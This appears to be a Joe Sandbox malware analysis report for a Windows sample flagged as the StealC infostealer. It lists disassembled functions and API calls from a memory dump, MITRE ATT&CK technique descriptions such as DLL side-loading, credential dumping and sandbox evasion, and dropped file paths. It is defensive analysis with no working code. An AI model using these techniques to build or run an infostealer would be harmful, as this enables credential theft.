GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C4E474A

Strings

GetNtLoaderAPI, xrefs: 6C4E4744

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 771f8ead10cec1ebc47054a44f378b9bacdaa03b05bdd9b86254f2945e7e8988
Instruction ID: a56501515a617780b0a2058231e9d942cfbc90158428c02e23cc650ca1ae5ace
Opcode Fuzzy Hash: 771f8ead10cec1ebc47054a44f378b9bacdaa03b05bdd9b86254f2945e7e8988
Instruction Fuzzy Hash: 0F0156757052149FDF00AFAA8C489297BF9EB8F352B474066EA05C7750DB74D8018F95

Function 6C536DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C536E22
__Init_thread_footer.LIBCMT ref: 6C536E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C536E1D

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 4d94d81df386666e9d4fddb29fcc1d44f31e087122a894daca7f1f1d2ff3a52b
Instruction ID: c7aeced5866600bb9a16490487c29d1b50db2a559caed5be62b3a2d55d12c8f6
Opcode Fuzzy Hash: 4d94d81df386666e9d4fddb29fcc1d44f31e087122a894daca7f1f1d2ff3a52b
Instruction Fuzzy Hash: 14F05931604340CBDA008B68CC50A9B37716743318F85126AC40987BE1EB20B91ADA97

Function 6C4E9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C4E9EEF

Strings

Infinity, xrefs: 6C4E9EB7
NaN, xrefs: 6C4E9EC1

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: db8ea4d9fe78ec3397bdd0de8f521ceae89891a4b3119149513f44145b856bef
Instruction ID: 86a14d6c1b00ad47588512d7a9964f8b28f3a7fd2e9f82cba2d3e0e0e93a4a97
Opcode Fuzzy Hash: db8ea4d9fe78ec3397bdd0de8f521ceae89891a4b3119149513f44145b856bef
Instruction Fuzzy Hash: EEF0CDB1600241CBDB00CF1CDC45FA533B1B75730AFA20B5AC6040BBC0D7766556CA8A

Function 6C4E6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0KQl,?,6C514B30,80000000,?,6C514AB7,?,6C4D43CF,?,6C4D42D2), ref: 6C4E6C42

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

moz_xmalloc.MOZGLUE(0KQl,?,6C514B30,80000000,?,6C514AB7,?,6C4D43CF,?,6C4D42D2), ref: 6C4E6C58

Strings

0KQl, xrefs: 6C4E6C33, 6C4E6C41, 6C4E6C57

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0KQl
API String ID: 1967447596-1241777402
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 145d31365f3da9ce35ebdf53f3543a5316c51c8f5016d12c6c0975a754a49612
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 79E086F1A105094A9B08D978AC09EAE75C88B1C6EBF054A39ED32C6BCCFA54E5508191

Function 6C4E3850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C55F860), ref: 6C4E385C
ReleaseSRWLockExclusive.KERNEL32(6C55F860,?), ref: 6C4E3871

Strings

,Ul, xrefs: 6C4E387A

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,Ul
API String ID: 17069307-1618445069
Opcode ID: 8ac4d57e22e0f2720da72b750eb244a0140bf5c6df149d799a08d9304486b965
Instruction ID: 09c46996bbe26b622125b5fdf1b8dd74b1854bde4e409cacc94cc2e67fc32591
Opcode Fuzzy Hash: 8ac4d57e22e0f2720da72b750eb244a0140bf5c6df149d799a08d9304486b965
Instruction Fuzzy Hash: 41E0DF31A01A18978702EF968C05E8A3BF8FE0B692387460AF40A17A10C770908086C9

Function 6C4EBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C4EBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C4EBEF5

Strings

cryptbase.dll, xrefs: 6C4EBEF0

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: c63f1e60d0eb6c1ab159dbc6426ad098336388c2da16368e0bb4c5e77cb4a503
Instruction ID: 0efbcbc08a36cd18eaed226ca7dab779dc785973330b0663f0bc492ab3a7f82b
Opcode Fuzzy Hash: c63f1e60d0eb6c1ab159dbc6426ad098336388c2da16368e0bb4c5e77cb4a503
Instruction Fuzzy Hash: E0D0C932384208EADA40BAA48D0AF2A7BB8A706726F95C021F75594951C7B1A465CB99

Function 6C52B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C52B2C9,?,?,?,6C52B127,?,?,?,?,?,?,?,?,?,6C52AE52), ref: 6C52B628

Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C5290FF
Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C529108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C52B2C9,?,?,?,6C52B127,?,?,?,?,?,?,?,?,?,6C52AE52), ref: 6C52B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C52B2C9,?,?,?,6C52B127,?,?,?,?,?,?,?,?,?,6C52AE52), ref: 6C52B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C52B127,?,?,?,?,?,?,?,?), ref: 6C52B74D

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ce87aeb4c88087a0a1e7e835b8f0f9eeb99ad7b524940330c7aebb02de488f50
Instruction ID: cfeb1dcc988241cf53f7f4a5c3aa03ac31eeda2e8d97e0ac9bf95c68d6f8fa6a
Opcode Fuzzy Hash: ce87aeb4c88087a0a1e7e835b8f0f9eeb99ad7b524940330c7aebb02de488f50
Instruction Fuzzy Hash: B651BF71A052168BDB14DF18CD80A5EB7F5FF85304F59852DC89BABB90D735B804CBA1

Function 6C52DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C51FF2A), ref: 6C52DFFD

Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C5290FF
Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C529108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C51FF2A), ref: 6C52E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C51FF2A), ref: 6C52E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C51FF2A), ref: 6C52E0FE

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8995fd48f32858667efa147516aeca0f590fbd32a56298b012e3a6a71decc25c
Instruction ID: 65c748509f3959cd85c798a4f6e2337cca79eb85b14a6879449f3f2835d9f435
Opcode Fuzzy Hash: 8995fd48f32858667efa147516aeca0f590fbd32a56298b012e3a6a71decc25c
Instruction Fuzzy Hash: 7741CFB16042068FEB14CF78CC8076AB3F2BB45309F154939D516DBB80E7B6E906CB92

Function 6C526E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C526EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C526EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C526F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C526F5C

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 82d5114acf824bdd3b272a1aa72f803513b408637849fdc14e9e00eb0c9b5a3f
Instruction ID: 6f0616922bf985cbdaef5760aa0a2ec8f1e2adce547093519c776bc23b650702
Opcode Fuzzy Hash: 82d5114acf824bdd3b272a1aa72f803513b408637849fdc14e9e00eb0c9b5a3f
Instruction Fuzzy Hash: 2C31F671A1060A8FDB14CF2CCD806AE73E9EB84304F50853DD41AD7AA5EF35EA59C791

Function 6C53B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C4E0A4D), ref: 6C53B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C4E0A4D), ref: 6C53B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C4E0A4D), ref: 6C53B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C4E0A4D), ref: 6C53B67F

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 344287b2f1a1d5c2d77d2c7f016a2d3dd59e2386d13525123740dd79a4377a22
Instruction ID: 5c98e569e2e331a3438c36cea54544853a20fa7e46cb472cad7acd8b390049fc
Opcode Fuzzy Hash: 344287b2f1a1d5c2d77d2c7f016a2d3dd59e2386d13525123740dd79a4377a22
Instruction Fuzzy Hash: 4431E371A016268FDB10DF58CC4465ABBB5EF84314F5A8A29C80A9B712FB31E915CBA0

Function 6C50F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C50F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C50F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C50F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C50F668

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 7f375c52c7bad776a1a447baf0edb01f9523413923cff892bafb91127bb4ef9b
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 8D311E71B00614AFC724CF59DCC0A9E77B6EBC4358B148A39EA498BB05D771F9448B98

Function 6C5226B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5226C1
free.MOZGLUE(?), ref: 6C5226E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5226FF
free.MOZGLUE ref: 6C52270D

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f2cb81af0d1950b52046b5b170ae32a7688187ceba54736e80ca1a0f160b6b27
Instruction ID: ae8a7cc03fc913955dccf943857efba5ade15b964008dcf5c2329b9a17e67816
Opcode Fuzzy Hash: f2cb81af0d1950b52046b5b170ae32a7688187ceba54736e80ca1a0f160b6b27
Instruction Fuzzy Hash: C1F0F4B77012005BE7009B18DC88E4BB3E9EF45368B550035EA1AC3B02E736F919C6A6

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BFCFBKKKFHCFHJKFIIEHDBGCBK

C:\ProgramData\BFHDAEHD

